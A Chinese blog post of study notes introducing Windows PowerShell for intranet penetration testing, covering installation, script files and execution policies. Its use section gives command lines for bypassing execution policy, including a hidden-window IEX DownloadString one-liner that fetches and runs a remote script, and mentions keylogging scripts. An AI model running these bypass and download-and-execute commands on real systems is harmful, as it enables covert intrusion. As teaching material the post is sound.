内网渗透 | 2. Windows Powershell入门

0收藏

0点赞

浏览量:471

2021-11-12

举报

0x01 前言

根据《内网安全攻防:渗透测试实战指南》目录进行写笔记和巩固基础。

0x02 介绍

Windows PowerShell®是基于任务的命令行管理程序和脚本语言,专为进行系统管理而设计。在 .NET Framework 的基础上构建的 Windows PowerShell 可帮助 IT 专业人士和高级用户控制和自动执行 Windows 操作系统以及在 Windows 上运行的应用程序的管理。

UNIX 系统一直有着功能强大的脚本(shell),Windows PowerShell 的诞生就是要提供功能相当于 UNIX 系统 BASH 的命令行外壳程序,同时也内建脚本语言以及辅助脚本程序的工具。

官方文档
https://docs.microsoft.com/zh-cn/powershell/scripting/overview?view=powershell-7.2

0x03 安装Powershell

https://docs.microsoft.com/zh-cn/powershell/scripting/install/installing-powershell-on-windows?view=powershell-7.2

Windows

安装程序在 Windows “开始” 菜单中创建一个快捷方式。

  • 默认情况下,包安装位置为 $env:ProgramFiles\PowerShell\<version>
  • 可以通过“开始”菜单或$env:ProgramFiles\PowerShell\<version>\pwsh.exe 启动 PowerShell

MacOS

安装 Homebrew。
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"

现在,可以开始安装 PowerShell

brew install --cask powershell

最后,验证安装是否正常运行:

pwsh

PowerShell 新版本发布后,更新 Homebrew 公式并升级 PowerShell:

brew update
brew upgrade powershell --cask
  • 备注

    • 可从 PowerShell (pwsh) 主机调用上面的命令,但是调用后必须退出 PowerShell 并重启以完成升级,并刷新 $PSVersionTable 中显示的值。
https://docs.microsoft.com/zh-cn/powershell/scripting/learn/tutorials/01-discover-powershell?view=powershell-7.2

查看当前Powershell版本的话,也很简单: $PSVersionTable

参考Poweshell使用:
https://www.jianshu.com/p/c8f5c374466a

0x04 使用

PS1文件

一个PowerShell脚本其实就是一个简单的文本文件, 这个文件包含了一系列PowerShell命令,每个命令显示为独立的一行,对于被视为PowerShell脚本的文本文件,它的文件名需要加上.PS1的扩展名。

PowerShell的执行策略

为防止恶意脚本的执行,PowerShell有一个执行策略,默认情况下,这个执行策略被设置为受限。

我们可以使用:Get-ExecutionPolicy 命令查看PowerShell当前的执行策略。它有4个策略。

  • Restricted:脚本不能运行(默认设置)
  • RemoteSigned:本地创建的脚本可以运行,但是从网上下载的脚本不能运行(拥有数字证书签名的除外)
  • AllSigned:仅当脚本由受信任的发布者签名时才能运行;
  • Unrestricted:允许所有的脚本执行
Set-ExecutionPolicy 策略名(如:Unrestricted)

在渗透时,就需要采用一些方法绕过策略来执行脚本, 比如下面这三种。

  • 绕过本地权限执行
    • 上传xx.ps1至目标服务器,在CMD环境下,在目标服务器本地执行该脚本,如下所示。
PowerShell.exe -ExecutionPolicy Bypass -File xx.ps1
  • 本地隐藏绕过权限执行脚本
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden NoLogo -NonInteractive -NoProfile File xx.ps1
  • 用IEX下载远程PS1脚本绕过权限执行
PowerShell.exe -ExecutionPolicy Bypass-WindowStyle Hidden-NoProfile-NonI IEX(New-ObjectNet.WebClient).DownloadString("xxx.ps1");[Parameters]

下面对上述命令的参数进行说明,如下所示。

ExecutionPolicy Bypass:绕过执行安全策略,这个参数非常重要,在默认情况下,PowerShell的安全策略规定了PowerShell不允许运行命令和文件。通过设置这个参数,可以绕过任意一个安全保护规则。在渗透测试中,基本每次运行PowerShell脚本时都要使用这个参数。

  • WindowStyle Hidden:隐藏窗口。
  • NoLogo: 启动不显示版权标志的PowerShell.
  • NonInteractive (-Nonl):非交互模式,PowerShell不为用户提供交互的提示。
  • NoProfile (-NoP): PowerShell控制台不加载当前用户的配置文件。
  • Noexit:执行后不退出Shell。这在使用键盘记录等脚本时非常重要。

PowerShel脚本在默认情况下无法直接执行,这时就可以使用上述三种方法绕过安全策略,运行PowerShell脚本。

我自己有看书:《Windows PowerShell实战指南》(第三版)

更多学习文档:
https://www.cnblogs.com/lavender000/p/6935589.html
https://docs.microsoft.com/zh-cn/powershell/
https://cloud.tencent.com/developer/article/1797817

0x05 结尾

多动手,我写的不全面!只能用作引导入门,通过我的引导去学,去找资料!

从现在开始,星球定价125元!日后只有慢慢涨没有跌价!现在入股不亏,持续输出原创文章,还是小有干货的!


(来源:阿乐你好)

(原文链接:https://mp.weixin.qq.com/s/wmJkxemF766p9di1ELLEmA

发表评论

点击排行

钓鱼邮件-如何快速成为钓鱼达人

一、前言在大型企业边界安全做的越来越好的情况下,不管是 APT 攻击还是红蓝对抗演练,钓鱼邮件攻击使用的...

【渗透实战系列】| 1 -一次对跨境赌博类APP的渗透实战(getshell并获得全部数据)

本次渗透实战主要知识点:1.app抓包,寻找后台地址2.上传绕过,上传shell3.回shell地址的分析4.中国蚁剑工...

HTTPS - 如何抓包并破解 HTTPS 加密数据?

HTTPS 在握手过程中,密钥规格变更协议发送之后所有的数据都已经加密了,有些细节也就看不到了,如果常规的...

无线电安全攻防之GPS定位劫持

一、需要硬件设备HackRFHackRF 连接数据线外部时钟模块(TCXO 时钟模块)天线(淘宝套餐中的 700MHz-2700MH...

记一次Fastadmin后台getshell的渗透记录

1.信息搜集先来看看目标站点的各种信息后端PHP,前端使用layui,路由URL规则看起来像ThinkPHP,那自然想到...

华为防火墙实战配置教程,太全了

防火墙是位于内部网和外部网之间的屏障,它按照系统管理员预先定义好的规则来控制数据包的进出。防火墙是系...

ADCS系列之ESC1、ESC8复现

对原理感兴趣的可以去https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf看原文,这里只...

【干货分享】利用MSF上线断网主机的思路分享

潇湘信安&nbsp;Author 3had0w潇湘信安一个不会编程、挖SRC、代码审计的安全爱好者,主要分享一些安全经验、...

扫描二维码下载APP